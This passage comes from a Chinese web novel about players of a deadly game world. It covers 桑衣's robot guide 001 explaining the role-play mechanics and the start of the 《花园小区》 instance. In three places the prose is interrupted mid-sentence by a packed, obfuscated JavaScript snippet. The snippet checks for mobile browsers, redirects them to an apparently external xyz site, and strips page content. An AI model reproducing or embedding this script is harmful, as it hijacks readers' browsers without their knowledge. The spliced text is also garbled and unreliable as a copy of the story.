是一场异常痛苦难忍的酷刑,她开始不自觉地颤抖—— 好像她的身体正在淋雨。 “031,你做噩梦了吗?” 桑衣睁开眼,看见空白的天花板中间有一个模糊的黑点。 她揉了揉眼睛,才看清那是一个球形的小机器人。 噩梦吗? 桑衣摇了摇头,她沉默了一会,问道:“我还能再这里住多久?” “居住所每小时的使用费用是30点资源点,我们购买了48小时的居住权,现在还剩余37时50分钟,你的睡眠时长是9小时23分钟,你得到足够的休息了吗?” “嗯。”桑衣回答。 “001。” “怎么了?” “退掉剩余的居住时间,带我去游戏登入点。” 球形小机器人愣了愣,隔了一会儿才回复道:“收到,根据当前人流状况,预计3小时到达登入点,路程预计花费资源点……” 桑衣起身,很快出了门。 …… 【亲爱的玩家桑衣,您已登入游戏,欢迎来到心流世界。】 “031,我的原计划是在你休息充足后为你介绍游戏机制,你其实不用这么快地进入副本。” 空旷的房间里,女孩坐在书桌前,身边有一个球形机器人在打转。 “…别这么看着我!我绝对不是想偷懒,我只是想给你充足的休息时间。” 001被自己的话噎住,一时间电子屏幕上变换了好几个表情,无奈说道:“接下来我会为你介绍游戏的三大核心机制,请你仔细聆听。” 【第一,扮演值机制。】 桑衣的面前出现了一个黑板,上面画着一个简笔画的小女孩形象。 短发,眼睛圆圆的,嘴巴撇起,像缩小版的桑衣。 【扮演值系统,即玩家首先在副本中根据所扮演的角色特性获得系统分配的初始扮演值,点数在0-100之内,在获得初始扮演值后,玩家的每个副本互动行为都会决定扮演值的增加或减少。请注意,扮演值处于极值时玩家将处于危险状态,该状态在初期可根据一定的副本互动行为打破。】 “简而言之,你要注意两种情况。”001在简笔画小女孩旁画了一个危险符号。 “一般的初始扮演值都在60-80点之间,此时你处于安全状态。” “但当你的角色由于你的副本互动行为脱离角色特性,此时系统会判定角色「OUTOFCHARACTER」,你的扮演值会减少,当扮演值处于0-40点之间时,系统会发出警告,提醒你进入了危险状态,副本中的npc会格外注意到你,并将你视为异常,玩家们将其称作「排异行为」。” 001在小女孩的头顶写下了「ooc」三个字母。 “第二种情况,你要额外注意。”001把小女孩整个画圈圈起。 “小心你的扮演值,一旦点数突破80,你的心茧会受你的影响,减弱保护机制。” 球形小机器人顿了顿,它把小女孩头顶的三个字母擦去。 “当你的扮演值处于80-100时,系统会持续发布警告。你的主线任务进度可能会以极快的速度加快,但是永远不会完成。” 桑衣皱起了眉,她看见001在整个简笔画上画了一个大大的叉。 “副本中的npc会以最友好的态度对待你,因为你已然融入为他们的一员。你将失去自我,再也听不见系统的呼唤,成为副本中的一部分。” “即「同化」。” 7. 我想救一个人 「同化」? 桑衣一顿,放在桌面上的手指不自觉地蜷曲起来,“你的意思是,我在副本中遇到的npc,很可能曾经是一个玩家?” “可以这么说。”001平静地回答。 桑衣的呼吸轻了,她看着眼前的机器人,眼底清晰地倒映着它的样子,莫名觉得脊背爬上了一股冷意。 她迅速地低下头,细碎的刘海垂下,遮住了她的眼睛。 “理解清楚第一个机制了,我会为你介绍其他两个机制。”001提醒道。 “……还有一个问题。”桑衣没有抬头,只是开口问道, “有人知道吗?” 001:“抱歉,我不太理解你的意思。” “其他玩家,是否清楚自己的同伴,变成副本npc的事实?”桑衣一字一句地停顿。 001满不在意地说道:“普通玩家没有知情权,031,你是特殊的。” “玩家会在被「同化」的那一刻被系统宣告死亡,其他玩家对于该玩家的记忆会变得模糊。” 小机器人飞到了桑衣的面前,电子屏幕的表情很疑惑。 001贴住桑衣的额头,扫描了她的大脑,说道:“检测到你的情绪很活跃,理解第一个机制让你感到困难了吗?031?” “你感到为难了吗?” 桑衣久久地看向它,过了一会儿才开口道:“嗯。” 话音落下,小机器人的表情立马变得气鼓鼓的。 “031,你还是没有得到充分的休息,频繁地登入游戏对你没有任何好处。” 桑衣用食指轻轻将它弹开,反驳道:“我得到充分休息了。” “其他两个机制先放一放,我想知道,我能在副本池中找到我之前经历的副本吗?” “……你是说你的孵化副本?”嗡嗡叫的小机器人顿了顿,然后说道,“按照以往数据分析,每一个诞生孵化者的副本都在心流世界中彻底消失了……” “031,你问这个干什么?” 小机器人看着女孩眼睛,浅色的眼底里,好像藏着一些它目前所不能解析出的东西。 它见她缓缓开口,说道: “我想救一个人。” …… 心流世界,副本匹配大厅内,人影攒动。 角落中,一名玩家掩藏在人群的阴影里,视线锁定在面前的悬浮屏幕上,好像在仔细搜寻着什么。 “…将禾?你刷完本了?” 另一名玩家路过她身旁,神情惊讶。 被称作“将禾”的玩家闻言,关闭了悬浮屏幕。她点头,却又马上摇了摇头,“我刚刚通关了一个B级副本。” “啊,真厉害。这趟得有不少资源点吧。”另一名玩家感叹,“不过,你刚刚在干什么?怎么不登出游戏好好休息几天。” “刷刷玩家论坛,没什么。” 见将禾不愿多说,提问的人回头看了一眼副本匹配大厅的中央屏幕,急忙道:“这样啊,不打扰你了,我赶着刷C级本呢。” 将禾点点头,礼貌说了再见。 待人走后,她又点开悬浮屏幕,眉头紧锁着,看着玩家论坛中的搜索栏。 搜索栏中是她刚刚打出的问题: 「玩家是否会受副本影响出现失忆症状?」 ——搜索相似问题及结果为零。 反而是系统此时跳了出来。 【亲爱的玩家将禾,您是否出现了不适感受?请适时登出心流世界,前往至签到点进行体检。】 将禾听到系统提示,并未理会,反而单手揉了揉太阳穴,阖上了眼,凝神说道:“副本选择。” 下一秒,一道光束围绕将禾升起,她的眼前浮现了各式各样的方形图标,食指长按其中一个,副本详情展示在她面前。 悬空的光标在她的眼底倒映着,像湖面上跳跃的光晕。 将禾的目光锁定在了一个名为《花园小区》的C级副本,她点开副本详情,上面写着: 【支持全模式,主线任务基础资源点结算500点。】 将禾皱了皱眉,一般C级副本的主线任务最低给点只有200点,这个副本却超出两倍不止,其中有隐藏任务吗? 她立马打开玩家论坛,搜索“花园小区”相关帖子。 屏幕中立刻跳出了一条帖子:【新C级副本《花园小区》开荒招临时队友】 将禾看着这条帖子,眼光微动,片刻后,她在帖子下问道:【什么要求?】 帖主几乎是立刻就回复了:【B级副本通关经验的优先,这边提供线索。】 随之而来的还有一个临时队友申请。 将禾答应了申请,下一秒消息便发来了。 李夜星:【时间?】 将禾:【随时。线索是什么?】 对方沉默片刻,才回答:【前下刚进去一批人,全部死亡,我刚好都认识。】 将禾呼吸微顿,瞳孔瞬间收缩,【你的意思是,异常本?】 李夜星:【我估计是新诞生的异常本,官方还没捕捉到,有大便宜可以占。】 将禾没有急着答应,她摸着下巴,仍在权衡着。 三个月前的那场入侵,数万人在异常副本内死亡,迫于生计,玩家不得在恐慌下重新进入副本,竟发现少数C级副本出现了百分百的死亡率,有一批玩家坚持进入副本,无视主线任务,杀掉了所有npc,人均获得了高达百倍的资源点。 在这之后,玩家陷入了发掘异常副本的热潮。 游戏官方对于此现象并未加以限制,似乎是因为相比下派发技术人员清除异常副本,玩家的扫荡运动效率反而更高些。因此对于大量资源点流入玩家的管理,也就睁一只眼闭一只眼了。 只是,就算是大便宜,也得有命去占。 游戏中超过百分之六十的玩家都只能在C级副本徘徊,只有少数人可以通关B级副本。毕竟比起B级副本的高资源点,人们更关注B级副本的死亡率,日以继夜的刷本的确枯燥,但是C级副本的资源点已经足够维持生计。 见将禾很久没有回应,李夜星又发来一条消息。 【我知道你,将禾,你是十二区来的人。】 将禾眸光微动,她抿了抿唇,最终抬起了手,回答道: 【我加入。】 下一秒,系统的提示声在将禾的耳边响起: 【亲爱的玩家将禾,您的临时队友「李将星」已向您开放心茧权限。】 【曙光温馨提示您:注意心茧界限,避免迷失。】 将禾没有犹豫,闭上眼,屏住了呼吸。 几乎是顷刻间,她感到温暖的水膜逐渐在她的皮肤表面凝结,将她的整个身体包裹住,她感到一股沉沉的困意。 “啵——” 水膜破裂的声音,将禾感到一阵冷风朝她扑面吹来。 她睁开眼,看见了一片雪白的景象。 周围是看不见尽头的雪,不远处有一个小木屋冒着炊烟。 将禾低下头,大雪已经漫过了她的足底,她将双脚从雪中拔出,缓慢地向小木屋走去。 雪面上留下了一串脚印。 刚走了几步,就见小木屋的木门被匆匆推开,一个身影快步向她迈来。 李将星抱着一个毛毯,神色有些抱歉,“不好意思啊,我的心茧环境有点极端。” 她边说着,边拘谨地挠了挠头,她的头发很短,最长只到耳朵,眼睛很亮。 李将星说完,便将手中的毛毯递给了将禾。 将禾不作声,只是接过了毛毯,披在脑袋上,跟着李将星走进了小木屋。 小木屋内有一个很大的壁炉,里面被添了很多柴火,此时炉火烧得很旺。 壁炉前面铺了一个极大的地毯,除此之外,屋里没有别的东西。 李将星坐在地毯上,示意将禾坐下烤火。 将禾点点头,坐在了靠近壁炉的地方。 见将禾始终不说话,气氛越来越凝结,李将星绞着手指,神情纠结,像刚吃了一个苦瓜。 “我没想到你会相信我。” 噼啪的炉火声中,李将星开了口。 将禾闻言,将视线从炉火中收回,看向李将星,“我知道你有特别的目的。” 她看着李将星顿时煞白的脸,她的眼睛很圆很亮,此时盈上了一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407892|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水光。 将禾移开了视线,盯着壁炉中的火焰,说道:“我不在意。只要你别把脏主意打我身上。” 李将星低下了头,手指绞得极紧,指尖有些发白。 将禾的眼中倒映着闪烁的火光,良久,她垂下了眼。 这孩子的样子,看着只有15岁。 她想。 【前下刚进去一批人,全部死亡,我刚好都认识。】 回想起李将星说过的话,再看着她此时佯装镇定的样子,将禾对于李将星与先前那批死在副本的玩家们的关系,已经有了稍微清晰的思量。 估计这孩子的家人,全部都已葬身在了那个异常副本。 思及“家人”这个关系概念的时候,将禾呼吸微顿,发现这个陌生的词汇,已经很久没有出现在她的脑海中了。 “李将星。” “……嗯?”女孩猛地抬起了头。 “以后不要随便组队。” 将禾的声音微沉,带着警告的意味。 “知,知道了。”女孩又匆匆低下了头。 狭窄的小木屋内,再次陷入了沉默,只剩下炉火噼啪作响的声音。 …… 系统提示音在此时响起。 【亲爱的玩家李将星和玩家将禾,检测到您们的心茧融合度已经达到50%,副本匹配已重新开放。】 将禾和李将星对视一眼,双双站起身。 两人并肩站立,手背触碰到一起的那一刻,同时闭上了眼。 “副本匹配大厅。” 两道声音同时响起。 人声鼎沸,副本匹配大厅到处是匆忙的身影。 新添的两道身影出现在大厅角落。 将禾和李将星没有停留,直接选择了《花园小区》副本。 【副本匹配中——】 【匹配成功,您即将进入的副本为《花园小区》,副本评级:C】 【请注意:本次副本模式为四人模式,该模式不存在会议阶段,您将在剧情预演过后直接进入副本。】 【曙光温馨提醒您:专心游戏,请勿迷失。】 …… 【剧情预演模式加载完成,当前视角:第一人称npc视角。】 【我家住在花园小区,它坐落在未改造的老城区,小区的入口很隐蔽,要穿过老旧的层层巷子,会有一个小小的保安亭,亭子旁边是一个铁栅栏门,就是花园小区的入口。 花园小区本没有水泥路,在雨天,人们的鞋总是容易陷进黄泥土里,居住在这里的人们们用铲子挖掉泥土,填成了一条掺着形状不一石块的小路。 这条路很狭窄,人们天天在路上走,把凸起的小石块磨平了,变成了一条分布着大大小小的石板的路。 这里的人们来着不同的地方,他们在多年前在这里安家落户,将这一片地方共同打造得欣欣向荣。 这里本没有矛盾,没有纷争,人与人的关系从未如此的和谐与紧密。 但是那天,一切都变了。 那本是平常的一天,我是一个喜欢花木的人,那天我照常拎着我的水壶,在小区里免费做志愿,给树木浇水。 本应该静谧的地方,突然挤满了人群,到处都是人声。 我推开围堵的人,挤进热闹的根源。 那是老陈,住在小区角落那栋的顶楼。 老陈从楼顶上跳了下来,摔死了,我抬头望去,他的妻子站在顶楼,此时正往下看。 我叹了一口气,给自己穿上了志愿者的马甲,我找上了老陈的妻子,那个总是一脸和善的女人。 身为一个热心的社区居民,我有义务调解这件事。 老陈的妻子反常地把我推出了门外。 一切都如此的反常。 事情发展地比我想象中的还要快,小区里又出现了几例伤亡。 那个住在二楼的孩子,最近也变得有些反常。 我忙得脚不沾地,整宿地头疼。 我想,我该招几个热心的孩子们来,给我这个老家伙搭一把手。】 【剧情预演模式结束,即将载入副本。】 【专注游戏,请勿迷失。】 8. 花园小区(一) 【玩家匹配成功,正在载入副本,分配初始扮演值中——】 【亲爱的玩家们,您已成功进入副本。】 文至觉颤颤巍巍走在花园小区的小道上的时候,还拎着一个水壶。 路上有时有居民路过,跟他打着招呼。 他不好意思地摸了摸额角的斑白鬓角,手脚并用地慌乱回应,本就佝偻的背弯得更低了。 他已经125岁了,作为一个十二旬老人,是小区里最活跃的老人之一。 活跃的原因无他,他总喜欢志愿照顾小区里的花花草草,看到花草的生气在阳光下闪闪发光时,他便会眯着眼睛,开怀地笑。 他还总做最讨人厌的和事佬一职,掺和到小区居民的家务事里去,自认为自己的能力出色。 文至觉不一会就走到了他的目的地,小区中心的一个小凉亭,亭下此时站着四个热心的孩子,正在朝他这边看来。 ——都是些他新招来的,主动报名志愿的好孩子。 文至觉想到这里,欣慰地笑了笑。 他走上前,看着这些陌生的面孔,浑浊的瞳孔闪过了一丝光。 他指着四人中唯一的男孩,眯着眼睛笑问:“你是老陈家的孩子吧。” 被指中的男孩个子很高,十四五岁的模样,有一头棕黑色的头发。 他安静地点了点头。 “诶,好。”文至觉重重地点点头,他环视了一圈其他正襟危坐的孩子们,挥挥手缓和着气氛,“都别紧张、别紧张。” “先给你们颁布个任务,看到那边的树没有?” 四个人看向他手指的小区的另一边,齐齐点着头。 “最高的那棵树下面,我养了小丛小草,这几天被人踩秃了,劳烦你们去清理干净。顺路上,再给花花草草浇浇水。” “诶,都乖。”见四人再次点头,文至觉乐呵呵地挥了挥手,朝着与他手指的相反的方向走去。 而在凉亭下的众人眼对眼,沉默了一会。 那个男孩拎走了文至觉留下的水壶,先一步离开了。 “看来他想先行行动。” 等男孩的背影远了,将禾拧着眉,主动开口,“大家的初始扮演值都怎么样?” 李将星:“60点,没有变化,那个老头应该没发现什么异常。” 将禾:“我也是60点。” 将禾顿了顿,感到很奇怪,扮演值一般都会在第一次跟npc的对话后发生变化,依据玩家表现适量增加或者减少。 这个副本果然不同寻常。 将禾思及,向角落里没有说话的女孩主动打招呼,“你好,我是将禾。” 棕色眼睛的女孩低眉,浅浅点头,“桑衣,也是60点。” 将禾点点头,“既然如此,先各自搜集一下信息吧,尽快触发主线任务。” 将禾的话音刚落,系统提示音便接踵而至。 【嘀——恭喜玩家触发主线任务,获得额外资源点】 【该副本的主线任务为:《找到老陈的死因》】 【曙光温馨提醒您:注意自身状态,避免迷失。】 李将星惊讶道:“怎么会这么快?” 将禾一把拎走李将星,“别犹豫,先找信息。” 两人的身影很快走远了,留下桑衣在凉亭下,阳光透过凉亭,投下一角,撒在某一处。 而桑衣的视线落在了他人看不见的那处,问道:“她们是一伙的?” 001:“玩家可以通过心茧融合共同匹配副本,就是不知道她们是临时队友还是正式队友了。” “心茧融合?” 001:“就是其中一方进入到另一方的心茧世界中,减少心之壁的隔阂。” 桑衣点点头,若有所思。 001立马转悠到了桑衣的面前,语重心长道:“031,如果没有非常信任的人,你可千万不要随意开放心茧世界的权限。” 它顺着桑衣疑惑的目光,解释道:“玩家的心茧世界十分脆弱,即使受到了微乎其微的破坏,也会给玩家到来近乎致命的影响。游戏上线以来,有不少心茧世界被其他玩家入侵,现实中当场脑死亡的案例。” 桑衣淡淡道:“你也入侵了我的心茧世界。” “你怎么能这么说呢?!031!” 001仿佛炸了无形的毛,大声嚷嚷道:“我可是大数据研发的第一代辅助AI,被赋予光荣的辅助你的使命,这怎么能叫入侵呢?!” 桑衣:“那你说,这叫什么?” 001瞬间消了气焰,心虚地嘀咕道:“至少我不会给你带来任何伤害。” “是吗?” 桑衣声音很轻地反问,她略过了这个话题,径直朝凉亭外走去。 001紧接着跟了上来,在桑衣耳边转圈,“031,60点的扮演值是一个重要的临界点。正如我之前跟你说的,高于60点的扮演值确实能让你在副本中暂时安全,但是低于60点的扮演值反而更能引起npc的注意,挖掘到新的信息。” “扮演值的增加和减少,都取决于你的一言一行,怎么破局,在你。” 桑衣挥挥手,表示知道了,她看向先前那个主动拎走水壶的男孩离开的方向,也是另外两个玩家跟去的方向,脚步停顿下来,垂眸思考着。 半晌,桑衣迈步,朝老人离开的方向跟去。 ——与男孩截然相反的方向。 花园小区的绿化很好,绿化面积也特别大。茂盛的爬山虎攀上了带有年代痕迹的水泥墙,像包裹完整的一层皮,奇怪的是,这里的蚊虫很少,或者可以说是没有,每棵树都大口吞食着土壤的养分,争先恐后地往天空中窜去,甚至与最高的楼层持平。 桑衣走进这遮天蔽日的树荫时,只听见了蝉鸣声。 蝉鸣是一种特殊的声音,在为期三个月的存活时间里惊恐地、不敢懈怠地鸣叫,却被人们当作是一种美好的象征,时常勾起静谧的回忆。 001问:“为什么走这条路?你发现了什么异常吗?” 桑衣抬头仰望着过度畸形生长的树干,它的根为了汲取更多的养分,毫不留情地刺破了地皮,贪婪地延伸着、蔓延着,此刻像一个蛰伏的巨物,肆意地伸展着带着尖刺口器的触手。 桑衣感到了一股莫名的熟悉感。 “那个老头很奇怪。” “照你之前说的,每个玩家的初始扮演值分配可能有所不同,那么就意味着他们所拥有的对副本的信息程度不同。” 001满意地点点头,弧形屏幕的字符表情很慈祥。 “四个人同时都没有获得信息的前提下,主线任务却很快就被触发了。” 桑衣蹲下身,摸了摸小路边的草丛,潮湿的黏腻感。 她收回手,不着痕迹地往001身上甩了甩,继续道:“这意味着两个可能。” 001换上一幅好奇的表情。 “第一种可能,那个拎着水壶的男孩收集到了重要信息,触发了主线任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407893|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “第二种可能,”桑衣顿了顿,看向前方道路的尽头,隐藏在树丛中的那一幢楼房。 …… “你是说,那个老头有问题?他不是任务的发布者吗?” 李将星死死咬住了唇,表情变得紧张起来。 扮演值到目前为止,都没有丝毫的变化,这让她不禁感到有些不安。 “异常副本,不要以常规的思维去推理。” 将禾扫了她一眼,眼神微沉,她没有继续解释什么,庞大得异常的树荫下,两人一前一后在石板路上走着。 “放松。”半晌,将禾冷静的声音在李将星的耳边响起,平复了一些李将星纷乱的心绪。 “我们先调查这边。别忘了,我们这次的目标,是找到能杀死npc的死亡条件。” 李将星沉默了下来,没有继续说话,她的手紧握成拳,指尖死死掐着手心。 新世界没有坟墓,在游戏中死亡的玩家,现实中会即刻死去,不出片刻,公司的机器人会立刻被派出,在登入登出点直接回收玩家的尸体。 那天的她第一次没有听大人们的话,偷偷跑出了家里,贫瘠的土地上,不远处无数个钢铁黑影伫立着,她甚至看不见中心区的边缘,只能在地面交通的轨道旁,期盼着他们的归来。 那天是入侵日,家里的资源点本来预存很充足,是她突然生病了,为了给她买药,资源点一下子用尽了,剩余的资源点,无法支付今晚所有人的居住权。 她躺在床上,眼睁睁地看着那群背影消失在视野中。 李将星在心里一点点数着秒,天光逐渐变暗,她紧紧悬着的心一点点被掐住。 那天晚上,她数了十几次列车。 直到天光乍亮,她拿着家中最后的资源点,坐上了通往中心区的列车。 将禾突然停下了脚步,回头注视着李将星,她的眼底映照着短发女孩因回忆而痛苦暗沉的双眼,短暂的话语寂静中,只有蝉鸣在无时无刻地鸣叫着。 “这里的环境,似乎取材于中央生态区。” 将禾的话将李将星从回忆中拖出。 “中央生态区?”李将星闻言愣了愣,“你是说,中心三区?” “嗯。”将禾点点头,她把视线放在了不远处,那处盘曲虬结的树根下,站立着的一个背影。 他棕黑色的头发淹没在黑色的阴影里,注意到后方的声响,缓缓转过了头。 男孩面目沉静,眼睛是浅浅的灰色,鼻梁很高。 他侧开了身子,露出了身后面目腐烂的尸体。 李将星见此,呼吸一滞,她急忙看向身边的将禾。 将禾的脸上没有任何表情,开口问道:“你在干什么?” 男孩低头摆弄着沾满泥泞的双手,眼睛仅仅往这边飘了一瞬,自顾自地说道: “他们试图把死去的人埋在土里。” “很久很久以前,人们认为身体是灵魂的容器,自然生态是一切躯体的母亲,将废掉的容器再喂给母亲,是对母亲的尊重。” 男孩这样说着,神情满是疏离,仿佛身后面目已经腐烂的尸体,已经不再是他意义上的“父亲”。 “我只是把他挖了出来。”男孩回答了将禾的问题。 他灰色的眼睛看向了将禾,“在我看来,人类只是生态的垃圾,不应该埋在土里。” 【嘀——玩家将禾/李将星,您的扮演值已上升至65点。】 【当前主线任务进度为5%。】 9. 花园小区(二) 今天是阴天,乌云掩住了天空,空气中弥漫着潮湿的味道。 花园小区3单元的楼房中,庞大的树影吞没了楼梯口的光,浓稠而厚重。 一双脚踩在了其中一阶楼梯上,动作缓慢,手扶上了旁边的木质扶手。 他显然有些吃力,但仍执着地向上攀爬着。 “吱呀”一声,其中一户住户的门被打开了,三楼的王婆一手提着一袋垃圾,显然注意到了楼梯上的人。 看清那人的面容后,王婆的眉毛向上扬着,瞳孔微缩,张开口欲言又止。 “……” 她耸下了眉毛,嘴角微微撇着,面部肌肉好像抽动了一下,并没有说什么,只是向那人点了点头,算是打了招呼,就拎着垃圾袋快步向楼下走去。 那人也同样回以点头,又转身继续往上爬,只留下一个佝偻的背影。 慢悠悠且有节奏的脚步声中,路过爬着青苔的墙壁上,看见被用红笔画了数字六的符号时,那道弯着腰的身影停下了脚步。 六楼仅有一个住户,肥大的叶片挤进了楼道中的缝隙,颜色富裕,好像要流下汁液。 这里的门紧闭着,门缝里透不出任何的光亮,阴天潮湿的空气里,门的另一边散发着一股腐朽的气息。 “叩叩叩。” 门被敲响了三声。 门内没有任何反应,似乎没有人在家。 “叩叩叩。”房门又被人不死心地敲响了三声。 半晌寂静,门内终于传出了细微的声响和木质的地板上的脚步声。 那脚步声停顿了一会,然后突然变得很快、很重、几乎是迫不及待要打开那扇门。 ——门被打开了。 映入眼帘的是一张疲倦的面容,眼尾的皱纹耷拉着、堆积着,眼下乌青很严重,嘴唇毫无血色。 她的头发凌乱,神态处于一种极度紧张的状态,因此她的牙关不自觉地咬紧着,眼皮也时不时地抽搐着。 她上下打量了一遍门外的人,视线尤其重重落在那人的脸上,她的嘴唇有些发抖,胸腔也开始随着呼吸大幅度地颤抖。 刘可容死死地盯着眼前人,在某一刻,她的大脑也怔楞了几秒钟。 她死死压抑住自心脏将要迸发出的情绪,抿着唇,伸出手指向楼梯。 “给我滚。” 她又重复了一遍,眼神坚决,“滚回去。” …… 花园小区三单元的楼底下,桑衣看见了先前那个老头。 “是你啊。”老头主动开了口,笑眯眯的,“你浇完水了吗?” 蝉鸣停滞,文至觉的表情以一种诡异的方式僵在脸上,皱松的皮此时挤得很紧,瞳孔被压成小小一点。 001:031,无论他是npc还是玩家,你都要小心试探…… “没有。” 桑衣淡淡地看着他,理直气壮地回答道。 ——空气在一瞬间静止了。 无声的对峙氛围中,只有桑衣的脑袋被吵得嗡嗡叫。 001:啊啊啊啊! 文至觉脸上的表情一顿,片刻后,笑得更开心了,就叫眼睛都只剩下一条缝。 他指了指楼底楼梯口处的工具箱,慢悠悠地走了过去,并从里面取出了一个新的水壶。 “好孩子,要不要和我一起去浇水?” “不想去。”桑衣干脆利落地拒绝了,话音落下的时候,她静静地捂住了自己的耳朵—— 001:啊啊啊、啊啊啊啊! “哦?那就回家去吧。”文至觉不在意挥了挥手,慢条斯理地转了话头,“不过……” “你知道你的家在哪里吗?” 桑衣的眼神在一瞬间变得冰冷,“我不知道。” 状态面板弹出,显示她的扮演值仍在60点,毫无变化。 桑衣视线移开,不耐烦地说:“你演够了没有?” 文至觉被桑衣的话噎住了,然后开始不管不顾地捂着肚子哈哈大笑,眼角泛着点点泪花。 “抱歉抱歉。”文至觉拭去了眼角的泪花,直起了身子,他的眼睛闪着光,与之前老态龙钟的样子截然不同。 桑衣向后退了几步。 文至觉摸了摸自己的脸,有些懊恼地自言自语道:“我的演技有那么差吗?” 他眼睛仍然弯着,“你放心,我没有恶意。” 他往桑衣身后看去,没有发现其他两个玩家的身影,眼睛缓慢地眨了一下。 文至觉:“你们分头行动了,为什么?” 桑衣闻言,没有什么反应,仍旧沉默着。 文至觉见状,对她眨眨眼,话语中带着笑意,“你注意到了我的异常,或者你们都注意到了。这无关紧要,因为你们的目的只是找到杀死npc的死亡条件,把这个副本清空,然后获得丰厚的资源点。” “可是你为什么要来找我呢?” 桑衣的眼底倒映着一下子蹦出很多话的奇怪老头,扯了扯嘴角。 001:杀死npc???你们人类到底想要干嘛?! 001:副本清空的丰厚资源点???我信息库里没写这一条啊? 桑衣:…… 文至觉笑着的眼睛有些僵了,他感到额角有几颗冷汗流了下来,“……喂。你给点反应呢?” 桑衣如愿给了他一个眼神,又点点头,回答道:“嗯。” 老头嚣张的气焰越来越小,表情也逐渐开始变得不自然。 桑衣主动提问道:“老陈和他的妻子,是不是住在这里?” 文至觉立马接话,倒豆子似的,将他知道的信息道出:“在六楼。只有他们一家住户。对了,他的妻子叫……叫什么来着。” 他说着,边从口袋里扯出一个红色的塑料袋,塑料袋里还有一个塑料袋,层层刨出最后一个白色塑料袋里的一张纸条,文至觉眯着眼念出了上面写的字: “刘可容,122岁,3单元601。” 桑衣无语地瞥了他一眼,抬头看去——绿树掩映的楼房中,黑色的阴影里,六楼的窗户禁闭着,且拉上了窗帘,不容任何人窥探。 “自我介绍一下,我叫文至觉。” 桑衣一愣,看向对方主动自己伸来的手。 “在我们那边,握手是表示诚意的意思。”文至觉对她笑了笑。 桑衣的眸光微沉,没有动作。 文至觉见此,自然地收回了手,“至少告诉我你的名字?” “桑衣。” 文至觉的表情有一瞬的怔忪,隐隐觉得这个名字十分熟悉,似乎他经常听谁提到过。 他刚想开口说话,一道系统提示音就止住了两人的交流。 【重要npc死亡,警告,重要npc死亡。】 【主线部分探索暂时缺失,当前主线进度已进展至45%】 文至觉挑了挑眉,“你的同伴进展可真快。” 桑衣:哈? 文至觉把双手插进兜里,散漫地往小区另一边走去,刚走没几步,就停下来,看向桑衣: “不走吗?看看热闹。” 他又找补道:“嗯……我们可是这个小区的热心居民。” “况且,你的同伴杀害了重要npc,属于严重「ooc」,现在的处境很危险呢。” 桑衣冷冷拒绝:“要去你自己去。” 说话间,离三单元不远处,一个蹒跚的身影缓缓走来,花白的头发,衣服很简朴。 见到有人来,文至觉瞬间又弯起了腰,说话也变得慢吞吞的,脸上堆着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407894|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蔼的笑,“诶,是小王啊。” 被称为“小王”的王婆放下手中的垃圾袋,恭敬地弯腰点头,“文先生。” 文至觉不好意思地摸了摸鬓角,又提起话头,“你这是去干嘛了。” 王婆低下头,眼神放空了一秒钟,她用手蹭了蹭衣服,“我去帮忙处理了一下东西。”说完,她拿起了垃圾袋,“就不打扰你们了。” 桑衣站在文至觉身后,探着身子,也一同说了再见。 王婆愣了愣,眼神有些黯淡,嘴角勾起了一抹笑,喃喃道:“孩子,孩子。” 桑衣看着老人费力走路的背影,重量不轻的黑色塑料袋被装的鼓鼓囊囊,里面的东西被深沉的颜色掩盖着,旁人难以看清。 文至觉和桑衣一同看着老人消失在楼梯口。 桑衣看着涨了一点的扮演值,问道:“她是谁?” “小王啊……她的全名叫王问寻,101岁,住在花园小区三单元301室。” 桑衣:“你不是记得住吗?” 文至觉听了,又慢悠悠地从兜里掏出那一团塑料袋套装,贱兮兮地开始翻,“稍等,年纪大记忆差,我可能记错了。” 桑衣没理他,转头就走。 她的步子很快,一下就跟“蹒跚”走路的文至觉拉开了距离。 眼角余光瞥过后面不紧不慢走路的老头,桑衣看向了先前一直憋着没说话的球形机器人,问道:“他有什么问题?” 001的表情很纠结:“031,他似乎把你认成了其他两个玩家的队友,太奇怪了,玩家怎么会主动破坏副本秩序呢,我必须把这个事情上报给大数据中心。” 桑衣摇摇头,“我是问,那个人有什么问题,你一直不敢说话?” 001犹豫了很久,才开口:“大数据中心曾给我发送了现役所有的孵化者名单,其中有一名孵化者,代号是005。” “名单上记载,他的潜能被命名为「诗人」,批注是「被粉饰的真实」。” 桑衣:“被粉饰的真实?” 001:“是的,具体的潜能能力,名单中没有写明。我先前对他进行了观察,发现他的心理年龄远远小于他的外观年龄。” 桑衣回头看向使劲对她招着手的文至觉,“说点我不知道的。” 